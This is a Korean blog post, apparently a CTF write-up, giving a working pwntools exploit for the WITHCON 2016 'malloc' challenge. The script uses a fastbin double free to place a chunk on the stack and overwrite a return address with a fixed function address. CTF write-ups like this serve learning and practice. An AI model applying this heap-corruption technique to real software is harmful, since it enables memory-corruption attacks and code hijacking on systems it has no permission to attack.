[WITHCON 2016] malloc

2019. 2. 26. 17:06·PWN/CTF
728x90

fastbin dup into stack으로 쓱싹!!!


from pwn import *

s = process("./malloc")
elf = ELF("./malloc")



def malloc(size,content):
s.recvuntil("> ")
s.sendline("1")
    s.recvuntil("Enter size :")
    s.sendline(str(size))
    s.recvuntil("Enter data : ")
    s.sendline(content)


def free(index):
s.recvuntil("> ")
s.sendline("2")
    s.recvuntil("free :")
    s.sendline(str(index))
    


def list():
s.recvuntil("> ")
s.sendline("3")

def modify(index,content):
    s.recvuntil("> ")
s.sendline("4")
    s.recvuntil("modify : ")
    s.sendline(str(index))
    s.recvuntil("data : ")
    s.sendline(content)
    

def quit():
    s.recvuntil("> ")
    s.sendline("5")

gdb.attach(s)


s.recvuntil("Stack Address : ")
stack = int(s.recv(14),16)
print "stack : " + hex(stack)

malloc(32,"A"*8)
malloc(32,"B"*8)
free(1)
free(2)
free(1)

modify(1,p64(stack-0x58))
malloc(32,"C"*8)
malloc(49,"A"*24+p64(0x0000000000400986))
s.interactive()


저작자표시 비영리 변경금지 (새창열림)

'PWN > CTF' 카테고리의 다른 글

[HITCON 2016] house_of_orange  (0) 2019.08.13
[WITHCON 2016] normal malloc  (0) 2019.02.26
[Hackingcamp 19] ucanfind  (0) 2019.02.20
[Hackingcamp 19] guess  (0) 2019.02.20
[Hackingcamp 19] Orange  (0) 2019.02.20
'PWN/CTF' 카테고리의 다른 글
  • [HITCON 2016] house_of_orange
  • [WITHCON 2016] normal malloc
  • [Hackingcamp 19] ucanfind
  • [Hackingcamp 19] guess
J1W0N
J1W0N
jijijiji
  • J1W0N
    JIWON
    J1W0N
  • 전체
    오늘
    어제
    • 분류 전체보기 N
      • PROGRAMMING N
        • PYTHON
        • JS
        • 알고리즘
        • React N
      • WEB
        • LOS
        • rubiya
      • PWN
        • pwnable.tw
        • pwnable.kr
        • CTF
        • TIP
        • wargame
        • 읽자
        • HITCON_Training
      • Security_ETC
      • REVERSING
      • 할 것 정리
      • 잡담
        • 끄적끄적
        • 영어일기
      • 정보
      • 정리
  • 블로그 메뉴

    • 홈
    • 태그
    • 미디어로그
    • 위치로그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.6
J1W0N
[WITHCON 2016] malloc
상단으로

티스토리툴바